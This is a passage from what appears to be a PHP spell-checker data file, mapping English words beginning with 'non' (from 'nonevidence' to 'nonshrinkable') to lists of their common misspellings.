],\r\n\t\t\t\t'nonevidence'=>[\r\n\t\t\t\t\t'nonevidance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonexclusive'=>[\r\n\t\t\t\t\t'nonexcluisve',\r\n\t\t\t\t],\r\n\t\t\t\t'nonexistence'=>[\r\n\t\t\t\t\t'nonexistance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonexistent'=>[\r\n\t\t\t\t\t'non-existant',\r\n\t\t\t\t],\r\n\t\t\t\t'nonfeasance'=>[\r\n\t\t\t\t\t'nonfeasence',\r\n\t\t\t\t],\r\n\t\t\t\t'nonfeminists'=>[\r\n\t\t\t\t\t'nonfeminasts',\r\n\t\t\t\t],\r\n\t\t\t\t'nonferrous'=>[\r\n\t\t\t\t\t'nonferous',\r\n\t\t\t\t],\r\n\t\t\t\t'nonfilterable'=>[\r\n\t\t\t\t\t'nonfilterible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonfissionable'=>[\r\n\t\t\t\t\t'nonfissionible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonflammability'=>[\r\n\t\t\t\t\t'nonflamnability',\r\n\t\t\t\t],\r\n\t\t\t\t'nonflammable'=>[\r\n\t\t\t\t\t'nonflammible',\r\n\t\t\t\t\t'nonflamnable',\r\n\t\t\t\t],\r\n\t\t\t\t'nonfluency'=>[\r\n\t\t\t\t\t'nonfluensy',\r\n\t\t\t\t],\r\n\t\t\t\t'nonfluorescent'=>[\r\n\t\t\t\t\t'nonflorescent',\r\n\t\t\t\t],\r\n\t\t\t\t'nonforfeitable'=>[\r\n\t\t\t\t\t'nonforfeitible',\r\n\t\t\t\t\t'nonforfietable',\r\n\t\t\t\t],\r\n\t\t\t\t'nonforfeiture'=>[\r\n\t\t\t\t\t'nonforfieture',\r\n\t\t\t\t],\r\n\t\t\t\t'nonforfeitures'=>[\r\n\t\t\t\t\t'nonforfietures',\r\n\t\t\t\t],\r\n\t\t\t\t'nonglamorous'=>[\r\n\t\t\t\t\t'nonglamourous',\r\n\t\t\t\t],\r\n\t\t\t\t'nonglossy'=>[\r\n\t\t\t\t\t'nongloscy',\r\n\t\t\t\t],\r\n\t\t\t\t'nongonococcal'=>[\r\n\t\t\t\t\t'nongonococal',\r\n\t\t\t\t],\r\n\t\t\t\t'nongovernment'=>[\r\n\t\t\t\t\t'nongoverment',\r\n\t\t\t\t\t'nongovernent',\r\n\t\t\t\t],\r\n\t\t\t\t'nongovernmental'=>[\r\n\t\t\t\t\t'nongovermental',\r\n\t\t\t\t\t'nongovernental',\r\n\t\t\t\t],\r\n\t\t\t\t'nongraduates'=>[\r\n\t\t\t\t\t'nongradautes',\r\n\t\t\t\t],\r\n\t\t\t\t'nongrammatical'=>[\r\n\t\t\t\t\t'nongramnatical',\r\n\t\t\t\t],\r\n\t\t\t\t'nongranular'=>[\r\n\t\t\t\t\t'nongranuler',\r\n\t\t\t\t],\r\n\t\t\t\t'nongreasy'=>[\r\n\t\t\t\t\t'nongreacy',\r\n\t\t\t\t],\r\n\t\t\t\t'nongregarious'=>[\r\n\t\t\t\t\t'nongregarous',\r\n\t\t\t\t],\r\n\t\t\t\t'nonhandicapped'=>[\r\n\t\t\t\t\t'nonhandicaped',\r\n\t\t\t\t],\r\n\t\t\t\t'nonhappening'=>[\r\n\t\t\t\t\t'nonhapening',\r\n\t\t\t\t],\r\n\t\t\t\t'nonhappenings'=>[\r\n\t\t\t\t\t'nonhapenings',\r\n\t\t\t\t],\r\n\t\t\t\t'nonhereditary'=>[\r\n\t\t\t\t\t'nonhereditery',\r\n\t\t\t\t],\r\n\t\t\t\t'nonhomosexual'=>[\r\n\t\t\t\t\t'nonhomosexaul',\r\n\t\t\t\t],\r\n\t\t\t\t'nonhomosexuals'=>[\r\n\t\t\t\t\t'nonhomosexauls',\r\n\t\t\t\t],\r\n\t\t\t\t'nonhousing'=>[\r\n\t\t\t\t\t'nonhouisng',\r\n\t\t\t\t],\r\n\t\t\t\t'nonidentical'=>[\r\n\t\t\t\t\t'nonidantical',\r\n\t\t\t\t],\r\n\t\t\t\t'nonidentities'=>[\r\n\t\t\t\t\t'nonidantities',\r\n\t\t\t\t],\r\n\t\t\t\t'nonidentity'=>[\r\n\t\t\t\t\t'nonidantity',\r\n\t\t\t\t],\r\n\t\t\t\t'nonimmigrant'=>[\r\n\t\t\t\t\t'nonimmigrent',\r\n\t\t\t\t\t'nonimnigrant',\r\n\t\t\t\t],\r\n\t\t\t\t'nonimmune'=>[\r\n\t\t\t\t\t'nonimnune',\r\n\t\t\t\t],\r\n\t\t\t\t'noninclusion'=>[\r\n\t\t\t\t\t'nonincluison',\r\n\t\t\t\t],\r\n\t\t\t\t'noninclusions'=>[\r\n\t\t\t\t\t'nonincluisons',\r\n\t\t\t\t],\r\n\t\t\t\t'nonindependence'=>[\r\n\t\t\t\t\t'nonindependance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonindividual'=>[\r\n\t\t\t\t\t'nonindividaul',\r\n\t\t\t\t],\r\n\t\t\t\t'noninfectious'=>[\r\n\t\t\t\t\t'noninfectous',\r\n\t\t\t\t],\r\n\t\t\t\t'noninflammable'=>[\r\n\t\t\t\t\t'noninflammible',\r\n\t\t\t\t\t'noninflamnable',\r\n\t\t\t\t],\r\n\t\t\t\t'noninflammatory'=>[\r\n\t\t\t\t\t'noninflamnatory',\r\n\t\t\t\t],\r\n\t\t\t\t'noninflationary'=>[\r\n\t\t\t\t\t'noninflationery',\r\n\t\t\t\t],\r\n\t\t\t\t'noninfluence'=>[\r\n\t\t\t\t\t'noninfluance',\r\n\t\t\t\t],\r\n\t\t\t\t'noninitial'=>[\r\n\t\t\t\t\t'noninatial',\r\n\t\t\t\t],\r\n\t\t\t\t'noninitiates'=>[\r\n\t\t\t\t\t'noninatiates',\r\n\t\t\t\t],\r\n\t\t\t\t'noninsurance'=>[\r\n\t\t\t\t\t'noninsurence',\r\n\t\t\t\t],\r\n\t\t\t\t'nonintellectual'=>[\r\n\t\t\t\t\t'nonintellectaul',\r\n\t\t\t\t],\r\n\t\t\t\t'noninterference'=>[\r\n\t\t\t\t\t'noninterferance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonintervention'=>[\r\n\t\t\t\t\t'nonintervantion',\r\n\t\t\t\t],\r\n\t\t\t\t'nonintrusive'=>[\r\n\t\t\t\t\t'nonintruisve',\r\n\t\t\t\t],\r\n\t\t\t\t'noninvolvement'=>[\r\n\t\t\t\t\t'noninvolvemant',\r\n\t\t\t\t],\r\n\t\t\t\t'nonirrigated'=>[\r\n\t\t\t\t\t'nonirigated',\r\n\t\t\t\t],\r\n\t\t\t\t'nonirritants'=>[\r\n\t\t\t\t\t'noniritants',\r\n\t\t\t\t],\r\n\t\t\t\t'nonjudgmental'=>[\r\n\t\t\t\t\t'nonjudgmantal',\r\n\t\t\t\t],\r\n\t\t\t\t'nonjusticiable'=>[\r\n\t\t\t\t\t'nonjusticiible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonlanguages'=>[\r\n\t\t\t\t\t'nonlangauges',\r\n\t\t\t\t],\r\n\t\t\t\t'nonlethal'=>[\r\n\t\t\t\t\t'nonletal',\r\n\t\t\t\t],\r\n\t\t\t\t'nonlibrarian'=>[\r\n\t\t\t\t\t'nonlibraran',\r\n\t\t\t\t],\r\n\t\t\t\t'nonlibrary'=>[\r\n\t\t\t\t\t'nonlibrery',\r\n\t\t\t\t],\r\n\t\t\t\t'nonlinear'=>[\r\n\t\t\t\t\t'nonlineer',\r\n\t\t\t\t\t'nonliner',\r\n\t\t\t\t\t'nonliniar',\r\n\t\t\t\t],\r\n\t\t\t\t'nonliterary'=>[\r\n\t\t\t\t\t'nonliterery',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmagnetic'=>[\r\n\t\t\t\t\t'nomagnetic',\r\n\t\t\t\t\t'nonagnetic',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmainstream'=>[\r\n\t\t\t\t\t'nomainstream',\r\n\t\t\t\t\t'nonainstream',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmajor'=>[\r\n\t\t\t\t\t'nomajor',\r\n\t\t\t\t\t'nonajor',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmajors'=>[\r\n\t\t\t\t\t'nomajors',\r\n\t\t\t\t\t'nonajors',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmalignant'=>[\r\n\t\t\t\t\t'nomalignant',\r\n\t\t\t\t\t'nonalignant',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmalleable'=>[\r\n\t\t\t\t\t'nomalleable',\r\n\t\t\t\t\t'nonalleable',\r\n\t\t\t\t],\r\n\t\t\t\t'nonman'=>[\r\n\t\t\t\t\t'noman',\r\n\t\t\t\t\t'nonan',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmanagement'=>[\r\n\t\t\t\t\t'nomanagement',\r\n\t\t\t\t\t'nonanagement',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmanagerial'=>[\r\n\t\t\t\t\t'nomanagerial',\r\n\t\t\t\t\t'nonanagerial',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmanual'=>[\r\n\t\t\t\t\t'nomanual',\r\n\t\t\t\t\t'nonanual',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmarital'=>[\r\n\t\t\t\t\t'nomarital',\r\n\t\t\t\t\t'nonarital',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmarket'=>[\r\n\t\t\t\t\t'nomarket',\r\n\t\t\t\t\t'nonarket',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmarkets'=>[\r\n\t\t\t\t\t'nomarkets',\r\n\t\t\t\t\t'nonarkets',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmaterial'=>[\r\n\t\t\t\t\t'nomaterial',\r\n\t\t\t\t\t'nonaterial',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmathematical'=>[\r\n\t\t\t\t\t'nomathematical',\r\n\t\t\t\t\t'nonathematical',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmatriculated'=>[\r\n\t\t\t\t\t'nomatriculated',\r\n\t\t\t\t\t'nonatriculated',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmature'=>[\r\n\t\t\t\t\t'nomature',\r\n\t\t\t\t\t'nonature',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmeaningful'=>[\r\n\t\t\t\t\t'nomeaningful',\r\n\t\t\t\t\t'noneaningful',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmeat'=>[\r\n\t\t\t\t\t'nomeat',\r\n\t\t\t\t\t'noneat',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmechanical'=>[\r\n\t\t\t\t\t'nomechanical',\r\n\t\t\t\t\t'nonechanical',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmechanistic'=>[\r\n\t\t\t\t\t'nomechanistic',\r\n\t\t\t\t\t'nonechanistic',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmedical'=>[\r\n\t\t\t\t\t'nomedical',\r\n\t\t\t\t\t'nonedical',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmeeting'=>[\r\n\t\t\t\t\t'nomeeting',\r\n\t\t\t\t\t'noneeting',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmeetings'=>[\r\n\t\t\t\t\t'nomeetings',\r\n\t\t\t\t\t'noneetings',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmember'=>[\r\n\t\t\t\t\t'nomember',\r\n\t\t\t\t\t'nonember',\r\n\t\t\t\t\t'nonmber',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmembers'=>[\r\n\t\t\t\t\t'nomembers',\r\n\t\t\t\t\t'nonembers',\r\n\t\t\t\t\t'nonmbers',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmembership'=>[\r\n\t\t\t\t\t'nomembership',\r\n\t\t\t\t\t'nonembership',\r\n\t\t\t\t\t'nonmbership',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmemberships'=>[\r\n\t\t\t\t\t'nomemberships',\r\n\t\t\t\t\t'nonemberships',\r\n\t\t\t\t\t'nonmberships',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmen'=>[\r\n\t\t\t\t\t'nomen',\r\n\t\t\t\t\t'nonen',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmental'=>[\r\n\t\t\t\t\t'nomental',\r\n\t\t\t\t\t'nonental',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmercurial'=>[\r\n\t\t\t\t\t'nomercurial',\r\n\t\t\t\t\t'nonercurial',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmetal'=>[\r\n\t\t\t\t\t'nometal',\r\n\t\t\t\t\t'nonetal',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmetallic'=>[\r\n\t\t\t\t\t'nometallic',\r\n\t\t\t\t\t'nonetallic',\r\n\t\t\t\t\t'nonmetalic',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmetals'=>[\r\n\t\t\t\t\t'nometals',\r\n\t\t\t\t\t'nonetals',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmetameric'=>[\r\n\t\t\t\t\t'nometameric',\r\n\t\t\t\t\t'nonetameric',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmetaphorical'=>[\r\n\t\t\t\t\t'nometaphorical',\r\n\t\t\t\t\t'nonetaphorical',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmetric'=>[\r\n\t\t\t\t\t'nometric',\r\n\t\t\t\t\t'nonetric',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmetrical'=>[\r\n\t\t\t\t\t'nometrical',\r\n\t\t\t\t\t'nonetrical',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmetro'=>[\r\n\t\t\t\t\t'nometro',\r\n\t\t\t\t\t'nonetro',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmetropolitan'=>[\r\n\t\t\t\t\t'nometropolitan',\r\n\t\t\t\t\t'nonetropolitan',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmicrobial'=>[\r\n\t\t\t\t\t'nomicrobial',\r\n\t\t\t\t\t'nonicrobial',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmigrant'=>[\r\n\t\t\t\t\t'nomigrant',\r\n\t\t\t\t\t'nonigrant',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmigratory'=>[\r\n\t\t\t\t\t'nomigratory',\r\n\t\t\t\t\t'nonigratory',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmilitant'=>[\r\n\t\t\t\t\t'nomilitant',\r\n\t\t\t\t\t'nonilitant',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmilitants'=>[\r\n\t\t\t\t\t'nomilitants',\r\n\t\t\t\t\t'nonilitants',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmilitary'=>[\r\n\t\t\t\t\t'nomilitary',\r\n\t\t\t\t\t'nonilitary',\r\n\t\t\t\t\t'nonmilitery',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmimetic'=>[\r\n\t\t\t\t\t'nomimetic',\r\n\t\t\t\t\t'nonimetic',\r\n\t\t\t\t],\r\n\t\t\t\t'nonminorities'=>[\r\n\t\t\t\t\t'nominorities',\r\n\t\t\t\t\t'noninorities',\r\n\t\t\t\t\t'nonminourities',\r\n\t\t\t\t],\r\n\t\t\t\t'nonminority'=>[\r\n\t\t\t\t\t'nominority',\r\n\t\t\t\t\t'noninority',\r\n\t\t\t\t\t'nonminourity',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmobile'=>[\r\n\t\t\t\t\t'nomobile',\r\n\t\t\t\t\t'nonobile',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmodal'=>[\r\n\t\t\t\t\t'nomodal',\r\n\t\t\t\t\t'nonodal',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmodern'=>[\r\n\t\t\t\t\t'nomodern',\r\n\t\t\t\t\t'nonodern',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmoderns'=>[\r\n\t\t\t\t\t'nomoderns',\r\n\t\t\t\t\t'nonoderns',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmolecular'=>[\r\n\t\t\t\t\t'nomolecular',\r\n\t\t\t\t\t'nonmoleculer',\r\n\t\t\t\t\t'nonolecular',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmonetarist'=>[\r\n\t\t\t\t\t'nomonetarist',\r\n\t\t\t\t\t'nononetarist',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmonetarists'=>[\r\n\t\t\t\t\t'nomonetarists',\r\n\t\t\t\t\t'nononetarists',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmonetary'=>[\r\n\t\t\t\t\t'nomonetary',\r\n\t\t\t\t\t'nonmonetery',\r\n\t\t\t\t\t'nononetary',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmoney'=>[\r\n\t\t\t\t\t'nomoney',\r\n\t\t\t\t\t'nononey',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmonogamous'=>[\r\n\t\t\t\t\t'nomonogamous',\r\n\t\t\t\t\t'nononogamous',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmoral'=>[\r\n\t\t\t\t\t'nomoral',\r\n\t\t\t\t\t'nonmoural',\r\n\t\t\t\t\t'nonoral',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmortal'=>[\r\n\t\t\t\t\t'nomortal',\r\n\t\t\t\t\t'nonortal',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmortals'=>[\r\n\t\t\t\t\t'nomortals',\r\n\t\t\t\t\t'nonmourtals',\r\n\t\t\t\t\t'nonortals',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmotile'=>[\r\n\t\t\t\t\t'nomotile',\r\n\t\t\t\t\t'nonotile',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmotilities'=>[\r\n\t\t\t\t\t'nomotilities',\r\n\t\t\t\t\t'nonotilities',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmotility'=>[\r\n\t\t\t\t\t'nomotility',\r\n\t\t\t\t\t'nonotility',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmotorized'=>[\r\n\t\t\t\t\t'nomotorized',\r\n\t\t\t\t\t'nonotorized',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmoving'=>[\r\n\t\t\t\t\t'nomoving',\r\n\t\t\t\t\t'nonoving',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmunicipal'=>[\r\n\t\t\t\t\t'nomunicipal',\r\n\t\t\t\t\t'nonunicipal',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmusic'=>[\r\n\t\t\t\t\t'nomusic',\r\n\t\t\t\t\t'nonmuisc',\r\n\t\t\t\t\t'nonusic',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmusical'=>[\r\n\t\t\t\t\t'nomusical',\r\n\t\t\t\t\t'nonmuiscal',\r\n\t\t\t\t\t'nonusical',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmusicals'=>[\r\n\t\t\t\t\t'nomusicals',\r\n\t\t\t\t\t'nonmuiscals',\r\n\t\t\t\t\t'nonusicals',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmusician'=>[\r\n\t\t\t\t\t'nomusician',\r\n\t\t\t\t\t'nonmuiscian',\r\n\t\t\t\t\t'nonmusican',\r\n\t\t\t\t\t'nonusician',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmusicians'=>[\r\n\t\t\t\t\t'nomusicians',\r\n\t\t\t\t\t'nonmuiscians',\r\n\t\t\t\t\t'nonusicians',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmusics'=>[\r\n\t\t\t\t\t'nomusics',\r\n\t\t\t\t\t'nonmuiscs',\r\n\t\t\t\t\t'nonusics',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmutant'=>[\r\n\t\t\t\t\t'nomutant',\r\n\t\t\t\t\t'nonutant',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmutants'=>[\r\n\t\t\t\t\t'nomutants',\r\n\t\t\t\t\t'nonutants',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmutual'=>[\r\n\t\t\t\t\t'nomutual',\r\n\t\t\t\t\t'nonutual',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmyelinated'=>[\r\n\t\t\t\t\t'nomyelinated',\r\n\t\t\t\t\t'nonmyelinited',\r\n\t\t\t\t\t'nonyelinated',\r\n\t\t\t\t],\r\n\t\t\t\t'nonmystical'=>[\r\n\t\t\t\t\t'nomystical',\r\n\t\t\t\t\t'nonystical',\r\n\t\t\t\t],\r\n\t\t\t\t'nonnarrative'=>[\r\n\t\t\t\t\t'nonnarative',\r\n\t\t\t\t],\r\n\t\t\t\t'nonnecessities'=>[\r\n\t\t\t\t\t'nonecessities',\r\n\t\t\t\t],\r\n\t\t\t\t'nonnegative'=>[\r\n\t\t\t\t\t'nonegative',\r\n\t\t\t\t],\r\n\t\t\t\t'nonnegotiable'=>[\r\n\t\t\t\t\t'nonegotiable',\r\n\t\t\t\t\t'nonnegotiible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonnegotiables'=>[\r\n\t\t\t\t\t'nonegotiables',\r\n\t\t\t\t],\r\n\t\t\t\t'nonnitrogenous'=>[\r\n\t\t\t\t\t'nonitrogenous',\r\n\t\t\t\t],\r\n\t\t\t\t'nonnormal'=>[\r\n\t\t\t\t\t'nonnourmal',\r\n\t\t\t\t],\r\n\t\t\t\t'nonnormative'=>[\r\n\t\t\t\t\t'nonnourmative',\r\n\t\t\t\t],\r\n\t\t\t\t'nonnuclear'=>[\r\n\t\t\t\t\t'nonnucleer',\r\n\t\t\t\t\t'nonuclear',\r\n\t\t\t\t],\r\n\t\t\t\t'nonnutritious'=>[\r\n\t\t\t\t\t'nonnutritous',\r\n\t\t\t\t\t'nonutritious',\r\n\t\t\t\t],\r\n\t\t\t\t'nonobservance'=>[\r\n\t\t\t\t\t'nonobservence',\r\n\t\t\t\t],\r\n\t\t\t\t'nonoccupational'=>[\r\n\t\t\t\t\t'nonocupational',\r\n\t\t\t\t],\r\n\t\t\t\t'nonoccurrence'=>[\r\n\t\t\t\t\t'nonoccurrance',\r\n\t\t\t\t\t'nonocurrence',\r\n\t\t\t\t],\r\n\t\t\t\t'nonoccurrences'=>[\r\n\t\t\t\t\t'nonoccurences',\r\n\t\t\t\t\t'nonocurrences',\r\n\t\t\t\t],\r\n\t\t\t\t'nonoral'=>[\r\n\t\t\t\t\t'nonoural',\r\n\t\t\t\t],\r\n\t\t\t\t'nonorally'=>[\r\n\t\t\t\t\t'nonourally',\r\n\t\t\t\t],\r\n\t\t\t\t'nonorganic'=>[\r\n\t\t\t\t\t'nonourganic',\r\n\t\t\t\t],\r\n\t\t\t\t'nonorgasmic'=>[\r\n\t\t\t\t\t'nonourgasmic',\r\n\t\t\t\t],\r\n\t\t\t\t'nonorthodox'=>[\r\n\t\t\t\t\t'nonourthodox',\r\n\t\t\t\t],\r\n\t\t\t\t'nonoverlapping'=>[\r\n\t\t\t\t\t'nonoverlaping',\r\n\t\t\t\t],\r\n\t\t\t\t'nonpar'=>[\r\n\t\t\t\t\t'nonper',\r\n\t\t\t\t],\r\n\t\t\t\t'nonparametric'=>[\r\n\t\t\t\t\t'nonperametric',\r\n\t\t\t\t],\r\n\t\t\t\t'nonpareil'=>[\r\n\t\t\t\t\t'nonpariel',\r\n\t\t\t\t\t'nonpereil',\r\n\t\t\t\t],\r\n\t\t\t\t'nonparent'=>[\r\n\t\t\t\t\t'nonperent',\r\n\t\t\t\t],\r\n\t\t\t\t'nonparticipant'=>[\r\n\t\t\t\t\t'nonperticipant',\r\n\t\t\t\t],\r\n\t\t\t\t'nonparticipants'=>[\r\n\t\t\t\t\t'nonperticipants',\r\n\t\t\t\t],\r\n\t\t\t\t'nonpartisan'=>[\r\n\t\t\t\t\t'nonpertisan',\r\n\t\t\t\t],\r\n\t\t\t\t'nonpartisanship'=>[\r\n\t\t\t\t\t'nonpertisanship',\r\n\t\t\t\t],\r\n\t\t\t\t'nonparty'=>[\r\n\t\t\t\t\t'nonperty',\r\n\t\t\t\t],\r\n\t\t\t\t'nonperformance'=>[\r\n\t\t\t\t\t'nonperformence',\r\n\t\t\t\t],\r\n\t\t\t\t'nonperishable'=>[\r\n\t\t\t\t\t'nonperishible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonpersistent'=>[\r\n\t\t\t\t\t'nonpersistant',\r\n\t\t\t\t],\r\n\t\t\t\t'nonphysician'=>[\r\n\t\t\t\t\t'nonphysican',\r\n\t\t\t\t],\r\n\t\t\t\t'nonplanar'=>[\r\n\t\t\t\t\t'nonplaner',\r\n\t\t\t\t],\r\n\t\t\t\t'nonplusing'=>[\r\n\t\t\t\t\t'nonpluisng',\r\n\t\t\t\t],\r\n\t\t\t\t'nonplussed'=>[\r\n\t\t\t\t\t'non-plussed',\r\n\t\t\t\t],\r\n\t\t\t\t'nonpolar'=>[\r\n\t\t\t\t\t'nonpoler',\r\n\t\t\t\t],\r\n\t\t\t\t'nonpolarizable'=>[\r\n\t\t\t\t\t'nonpolarizible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonpolitician'=>[\r\n\t\t\t\t\t'nonpolitican',\r\n\t\t\t\t],\r\n\t\t\t\t'nonprescription'=>[\r\n\t\t\t\t\t'nonprecription',\r\n\t\t\t\t\t'nonprecsription',\r\n\t\t\t\t\t'nonpresription',\r\n\t\t\t\t],\r\n\t\t\t\t'nonprofessional'=>[\r\n\t\t\t\t\t'nonprofesional',\r\n\t\t\t\t\t'nonproressional',\r\n\t\t\t\t],\r\n\t\t\t\t'nonprogrammers'=>[\r\n\t\t\t\t\t'nonprogramners',\r\n\t\t\t\t],\r\n\t\t\t\t'nonproprietary'=>[\r\n\t\t\t\t\t'nonproprietery',\r\n\t\t\t\t],\r\n\t\t\t\t'nonquantifiable'=>[\r\n\t\t\t\t\t'nonqauntifiable',\r\n\t\t\t\t\t'nonquantifiible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonquantitative'=>[\r\n\t\t\t\t\t'nonqauntitative',\r\n\t\t\t\t],\r\n\t\t\t\t'nonrecombinant'=>[\r\n\t\t\t\t\t'nonrecombinent',\r\n\t\t\t\t\t'nonrecombinint',\r\n\t\t\t\t],\r\n\t\t\t\t'nonrecombinants'=>[\r\n\t\t\t\t\t'nonrecombinints',\r\n\t\t\t\t],\r\n\t\t\t\t'nonrecurrent'=>[\r\n\t\t\t\t\t'nonrecurent',\r\n\t\t\t\t],\r\n\t\t\t\t'nonrecurring'=>[\r\n\t\t\t\t\t'nonrecuring',\r\n\t\t\t\t],\r\n\t\t\t\t'nonrecyclable'=>[\r\n\t\t\t\t\t'nonrecyclible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonredundant'=>[\r\n\t\t\t\t\t'nonredundent',\r\n\t\t\t\t],\r\n\t\t\t\t'nonrefillable'=>[\r\n\t\t\t\t\t'nonrefillible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonreligious'=>[\r\n\t\t\t\t\t'nonreligous',\r\n\t\t\t\t],\r\n\t\t\t\t'nonrenewable'=>[\r\n\t\t\t\t\t'nonrenewible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonresidence'=>[\r\n\t\t\t\t\t'nonresidance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonresidency'=>[\r\n\t\t\t\t\t'nonresidensy',\r\n\t\t\t\t],\r\n\t\t\t\t'nonresident'=>[\r\n\t\t\t\t\t'nonresidant',\r\n\t\t\t\t],\r\n\t\t\t\t'nonresidential'=>[\r\n\t\t\t\t\t'nonresidantial',\r\n\t\t\t\t],\r\n\t\t\t\t'nonresidents'=>[\r\n\t\t\t\t\t'nonresidants',\r\n\t\t\t\t],\r\n\t\t\t\t'nonresistance'=>[\r\n\t\t\t\t\t'nonresistence',\r\n\t\t\t\t],\r\n\t\t\t\t'nonresistant'=>[\r\n\t\t\t\t\t'nonresistent',\r\n\t\t\t\t],\r\n\t\t\t\t'nonrespondent'=>[\r\n\t\t\t\t\t'nonrespondant',\r\n\t\t\t\t],\r\n\t\t\t\t'nonrespondents'=>[\r\n\t\t\t\t\t'nonrespondants',\r\n\t\t\t\t],\r\n\t\t\t\t'nonresponse'=>[\r\n\t\t\t\t\t'nonresponce',\r\n\t\t\t\t],\r\n\t\t\t\t'nonreturnable'=>[\r\n\t\t\t\t\t'nonreturnible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonreversible'=>[\r\n\t\t\t\t\t'nonreversable',\r\n\t\t\t\t],\r\n\t\t\t\t'nonsaponifiable'=>[\r\n\t\t\t\t\t'nonsaponifiible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonscheduled'=>[\r\n\t\t\t\t\t'noncheduled',\r\n\t\t\t\t\t'noncsheduled',\r\n\t\t\t\t\t'nonsheduled',\r\n\t\t\t\t],\r\n\t\t\t\t'nonscience'=>[\r\n\t\t\t\t\t'nonsciance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonsectarian'=>[\r\n\t\t\t\t\t'nonsectaran',\r\n\t\t\t\t],\r\n\t\t\t\t'nonsedimentable'=>[\r\n\t\t\t\t\t'nonsedimentible',\r\n\t\t\t\t],\r\n\t\t\t\t'nonsense'=>[\r\n\t\t\t\t\t'nonsence',\r\n\t\t\t\t],\r\n\t\t\t\t'nonsensuous'=>[\r\n\t\t\t\t\t'nonsensous',\r\n\t\t\t\t],\r\n\t\t\t\t'nonsentence'=>[\r\n\t\t\t\t\t'nonsentance',\r\n\t\t\t\t],\r\n\t\t\t\t'nonserious'=>[\r\n\t\t\t\t\t'nonserous',\r\n\t\t\t\t],\r\n\t\t\t\t'nonshrinkable'=>[\r\n\t\t\t